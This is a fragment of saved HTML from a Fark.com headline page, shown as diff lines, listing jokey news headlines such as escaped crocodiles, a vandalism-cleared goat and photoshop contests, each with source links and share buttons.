+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=15%2C000%20crocodiles%20escape%20flooded%20farm%20in%20South%20Africa.%20Area%2C%20bowels%20evacuated%20http%3A%2F%2Ffark.com%2Fgo%2F7555007&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cf [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555007/-15000-crocodiles-escape-flooded-farm-in-South-Africa-Area-bowels-evacuated" target="_top"> (40) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554972"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554972/http://www.3news.co.nz/Seven-plus-a-day-the-key-to-feeling-good/tabid/420/articleID [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/sad" title="Sad"><span class="ttag topic05"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554972/http://www.3news.co.nz/Seven-plus-a-day-the-key-to-feeling-good/tabid/420/articleID/284387/Default.aspx" target="_blank">Good news: The key to happiness is to stuff your face seven times a day. Bad news: With vegetables</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554972" target="_blank">3news.co.nz</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554972&t=Good%20news%3A%20The%20key%20to%20happiness%20is%20to%20stuff%20your%20face%20seven%20times%20a%20day.%20Bad%20news%3A%20With%20vegetables" onclick="trackSocial('facebook','share','http://fark.com/go/7554972')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Good%20news%3A%20The%20key%20to%20happiness%20is%20to%20stuff%20your%20face%20seven%20times%20a%20day.%20Bad%20news%3A%20With%20vegetables%20http%3A%2F%2Ffark.com%2Fgo%2F7554972&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554972/Good-news-The-key-to-happiness-is-to-stuff-your-face-seven-times-a-day-Bad-news-With-vegetables" target="_top"> (105) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7555058"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555058/http://www.sfgate.com/news/crime/article/Flower-eating-goat-cle [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/asinine" title="Asinine"><span class="ttag topic13"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555058/http://www.sfgate.com/news/crime/article/Flower-eating-goat-cleared-of-vandalism-4216327.php" target="_blank">Gary the flower-eating goat has been cleared of vandalism charges. The system works</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555058" target="_blank">sfgate.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555058&t=Gary%20the%20flower-eating%20goat%20has%20been%20cleared%20of%20vandalism%20charges.%20The%20system%20works" onclick="trackSocial('facebook','share','http://fark.com/go/7555058')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Gary%20the%20flower-eating%20goat%20has%20been%20cleared%20of%20vandalism%20charges.%20The%20system%20works%20http%3A%2F%2Ffark.com%2Fgo%2F7555058&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20Ne [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555058/Gary-flower-eating-goat-has-been-cleared-of-vandalism-charges-The-system-works" target="_top"> (13) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554998"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554998/http://www.nydailynews.com/bulletproof-white-boards-double-shield-article-1.1245 [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/asinine" title="Asinine"><span class="ttag topic13"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554998/http://www.nydailynews.com/bulletproof-white-boards-double-shield-article-1.1245783" target="_blank">Armor contractor invents bulletproof whiteboards for teachers to use during school shootings. Next up: tear-gas erasers</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554998" target="_blank">nydailynews.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554998&t=Armor%20contractor%20invents%20bulletproof%20whiteboards%20for%20teachers%20to%20use%20during%20school%20shootings.%20Next%20up%3A%20tear-gas%20erasers" onclick="trackSocial('facebook','share','http://fark.com/go/7554998')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Armor%20contractor%20invents%20bulletproof%20whiteboards%20for%20teachers%20to%20use%20during%20school%20shootings.%20Next%20up%3A%20tear-ga...%20http%3A%2F%2Ffark.com%2Fgo%2F7554998&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfark [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554998/Armor-contractor-invents-bulletproof-whiteboards-for-teachers-to-use-during-school-shootings-Next-up-tear-gas-erasers" target="_top"> (83) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7555035"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555035/http://www.bbc.co.uk/news/magazine-2112808 [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555035/http://www.bbc.co.uk/news/magazine-21128089" target="_blank">Despite ban, some Americans still make and eat haggis. That's offal</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555035" target="_blank">bbc.co.uk</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555035&t=Despite%20ban%2C%20some%20Americans%20still%20make%20and%20eat%20haggis.%20That%27s%20offal" onclick="trackSocial('facebook','share','http://fark.com/go/7555035')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Despite%20ban%2C%20some%20Americans%20still%20make%20and%20eat%20haggis.%20That%27s%20offal%20http%3A%2F%2Ffark.com%2Fgo%2F7555035&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3A [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555035/Despite-ban-some-Americans-still-make-eat-haggis-Thats-offal" target="_top"> (65) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7543213"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7543213/http://msnbcmedia.msn.com/j/MSNBC/Components/Photo/_new/pb-130118-uk-snow-ps7.ss_full.jpg" target= [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/photoshop" title="Photoshop"><span class="ttag topic23"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7543213/http://msnbcmedia.msn.com/j/MSNBC/Components/Photo/_new/pb-130118-uk-snow-ps7.ss_full.jpg" target="_blank">Photoshop this chilling self portrait</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7543213" target="_blank">msnbcmedia.msn.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2F7543213&t=Photoshop%20this%20chilling%20self%20portrait" onclick="trackSocial('facebook','share','http://fark.com/7543213')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Photoshop%20this%20chilling%20self%20portrait%20http%3A%2F%2Ffark.com%2F7543213&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.com%20Spo [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7543213/Photoshop-this-chilling-self-portrait" target="_top"> (23) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554303"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554303/https://sphotos-b.xx.fbcdn.net/hphotos-snc6/9468_10151625314429606_966815663_n.jpg" target="_blank"> <img alt="(FB Photo [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/caption" title="Caption"><span class="ttag topic22"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554303/https://sphotos-b.xx.fbcdn.net/hphotos-snc6/9468_10151625314429606_966815663_n.jpg" target="_blank">Caption this new Marine recruit</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554303" target="_blank">sphotos-b.xx.fbcdn.net</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2F7554303&t=Caption%20this%20new%20Marine%20recruit" onclick="trackSocial('facebook','share','http://fark.com/7554303')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Caption%20this%20new%20Marine%20recruit%20http%3A%2F%2Ffark.com%2F7554303&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.com%20Sports%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554303/Caption-this-new-Marine-recruit" target="_top"> (59) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554689"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554689/http://www.thestar.com/news/world/article/1319298--key-witness-in-case-against-sinn-fein-leader-gerry-adams-found-dead" target= [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554689/http://www.thestar.com/news/world/article/1319298--key-witness-in-case-against-sinn-fein-leader-gerry-adams-found-dead" target="_blank">Convicted
+ IRA bomber and key witness against Gerry Adams found dead after
+tragically and accidentally stabbing herself in the back several times
+with a drug overdose</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554689" target="_blank">thestar.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554689&t=Convicted%20IRA%20bomber%20and%20key%20witness%20against%20Gerry%20Adams%20found%20dead%20after%20tragically%20and%20accidentally%20stabbing%20herself%20in%20the%20back%20several%20times%20with%20a%20drug%20overdose" onclick [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Convicted%20IRA%20bomber%20and%20key%20witness%20against%20Gerry%20Adams%20found%20dead%20after%20tragically%20and%20accidentally%20stabbing...%20http%3A%2F%2Ffark.com%2Fgo%2F7554689&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfark [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554689/Convicted-IRA-bomber-key-witness-against-Gerry-Adams-found-dead-after-tragically-accidentally-stabbing-herself-in-back-several-times-with-a-drug-overdose" target="_top"> (40) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554865"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554865/http:/ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554865/http://www.wbtv.com/story/20663377/hundreds-of-warrants-found-hidden-at-sheriffs-office" target="_blank">New
+ county sheriff finds old county sheriff hid 100s of unserved warrants
+in cubicles, boxes, drawers, employee homes "[b]'ecause of friendship,
+family, just people that they know"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554865" target="_blank">wbtv.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554865&t=New%20county%20sheriff%20finds%20old%20county%20sheriff%20hid%20100s%20of%20unserved%20warrants%20in%20cubicles%2C%20boxes%2C%20drawers%2C%20employee%20homes%20%22%5Bb%5D%27ecause%20of%20friendship%2C%20family%2C%20just%20peopl [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=New%20county%20sheriff%20finds%20old%20county%20sheriff%20hid%20100s%20of%20unserved%20warrants%20in%20cubicles%2C%20boxes%2C%20drawers%2C%20employe...%20http%3A%2F%2Ffark.com%2Fgo%2F7554865&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554865/New-county-sheriff-finds-old-county-sheriff-hid-100s-of-unserved-warrants-in-cubicles-boxes-drawers-employee-homes-because-of-friendship-family-just-people-that-they-know" target="_top"> (63) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554845"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/g [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554845/http://www.rawstory.com/rs/2013/01/24/catholic-hospital-chain-beats-malpractice-suit-by-saying-fetuses-arent-people/" target="_blank">Not news: Catholic hospital chain beats malpractice suit. Irony: By declaring that fetuses aren't people</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554845" target="_blank">rawstory.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554845&t=Not%20news%3A%20Catholic%20hospital%20chain%20beats%20malpractice%20suit.%20Irony%3A%20By%20declaring%20that%20fetuses%20aren%27t%20people" onclick="trackSocial('facebook','share','http://fark.com/go/7554845')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Not%20news%3A%20Catholic%20hospital%20chain%20beats%20malpractice%20suit.%20Irony%3A%20By%20declaring%20that%20fetuses%20aren%27t%20people%20http%3A%2F%2Ffark.com%2Fgo%2F7554845&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554845/Not-news-Catholic-hospital-chain-beats-malpractice-suit-Irony-By-declaring-that-fetuses-arent-people" target="_top"> (117) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554709"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554709/http://www.examiner.com/article/hen-lays-egg-within-an-egg [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/weird" title="Weird"><span class="ttag topic17"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554709/http://www.examiner.com/article/hen-lays-egg-within-an-egg" target="_blank">Just how does a hen lay an egg inside an egg? Don't know? Well you've come to the right place, my little chickadees</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554709" target="_blank">examiner.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554709&t=Just%20how%20does%20a%20hen%20lay%20an%20egg%20inside%20an%20egg%3F%20Don%27t%20know%3F%20Well%20you%27ve%20come%20to%20the%20right%20place%2C%20my%20little%20chickadees" onclick="trackSocial('facebook','share','http://fark [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Just%20how%20does%20a%20hen%20lay%20an%20egg%20inside%20an%20egg%3F%20Don%27t%20know%3F%20Well%20you%27ve%20come%20to%20the%20right%20place%2C%20my%20little%20chick...%20http%3A%2F%2Ffark.com%2Fgo%2F7554709&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20M [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554709/Just-how-does-a-hen-lay-an-egg-inside-an-egg-Dont-know-Well-youve-come-to-right-place-my-little-chickadees" target="_top"> (39) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554679"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554679/http://www.ktvb.com/news/politics/Bill-would-restric [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/asinine" title="Asinine"><span class="ttag topic13"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554679/http://www.ktvb.com/news/politics/Bill-would-restrict-cold-calls-188239911.html" target="_blank">Telecoms want to get rid of the Do Not Call registry, call you at dinner time</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554679" target="_blank">ktvb.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554679&t=Telecoms%20want%20to%20get%20rid%20of%20the%20Do%20Not%20Call%20registry%2C%20call%20you%20at%20dinner%20time" onclick="trackSocial('facebook','share','http://fark.com/go/7554679')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Telecoms%20want%20to%20get%20rid%20of%20the%20Do%20Not%20Call%20registry%2C%20call%20you%20at%20dinner%20time%20http%3A%2F%2Ffark.com%2Fgo%2F7554679&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554679/Telecoms-want-to-get-rid-of-Do-Not-Call-registry-call-you-at-dinner-time" target="_top"> (173) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7543083"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7543083/http://www.flickr.com/photos/whitehouse/8390033709/" target="_blank"> <img alt="(Fli [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/photoshop" title="Photoshop"><span class="ttag topic23"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7543083/http://www.flickr.com/photos/whitehouse/8390033709/" target="_blank">Photoshop this official presidential portrait</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7543083" target="_blank">flickr.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2F7543083&t=Photoshop%20this%20official%20presidential%20portrait" onclick="trackSocial('facebook','share','http://fark.com/7543083')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Photoshop%20this%20official%20presidential%20portrait%20http%3A%2F%2Ffark.com%2F7543083&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.c [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7543083/Photoshop-this-official-presidential-portrait" target="_top"> (71) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554390"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554390/http://www.opposingviews.com/i/society/crime/nicole-golden-caught-stealing-shopping-cart-walmart-1194-worth-goods [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/dumbass" title="Dumbass"><span class="ttag topic34"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554390/http://www.opposingviews.com/i/society/crime/nicole-golden-caught-stealing-shopping-cart-walmart-1194-worth-goods" target="_blank">Shoplifting tip: don't try to steal 56 items in one trip</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554390" target="_blank">opposingviews.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554390&t=Shoplifting%20tip%3A%20don%27t%20try%20to%20steal%2056%20items%20in%20one%20trip" onclick="trackSocial('facebook','share','http://fark.com/go/7554390')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Shoplifting%20tip%3A%20don%27t%20try%20to%20steal%2056%20items%20in%20one%20trip%20http%3A%2F%2Ffark.com%2Fgo%2F7554390&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554390/Shoplifting-tip-dont-try-to-steal-56-items-in-one-trip" target="_top"> (41) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554486"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554486/http://www.litefm.com/cc-common/news/sections/newsarticle.html%3Ffeed%3D104673%26article%3D10724827" targ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/weird" title="Weird"><span class="ttag topic17"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554486/http://www.litefm.com/cc-common/news/sections/newsarticle.html%3Ffeed%3D104673%26article%3D10724827" target="_blank">Husband finds wife's online dating profile and gets revenge on cheating wife by dumping horse manure on her convertible</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554486" target="_blank">litefm.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554486&t=Husband%20finds%20wife%27s%20online%20dating%20profile%20and%20gets%20revenge%20on%20cheating%20wife%20by%20dumping%20horse%20manure%20on%20her%20convertible" onclick="trackSocial('facebook','share','http://fark.com/go/7554486')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Husband%20finds%20wife%27s%20online%20dating%20profile%20and%20gets%20revenge%20on%20cheating%20wife%20by%20dumping%20horse%20manure%20on%20her%20co...%20http%3A%2F%2Ffark.com%2Fgo%2F7554486&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554486/Husband-finds-wifes-online-dating-profile-gets-revenge-on-cheating-wife-by-dumping-horse-manure-on-her-convertible" target="_top"> (156) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554518"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554518/http://kotaku.com/5978236/my-weekend-at-a-f [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554518/http://kotaku.com/5978236/my-weekend-at-a-furry-convention" target="_blank">Woman
+ gets high on shrooms, wanders into a furry convention and promptly pees
+ self thinking she's having Freddy Krueger's baby. Then the Klingons
+show up</a></span> <div class="hlSpacer URLHover">
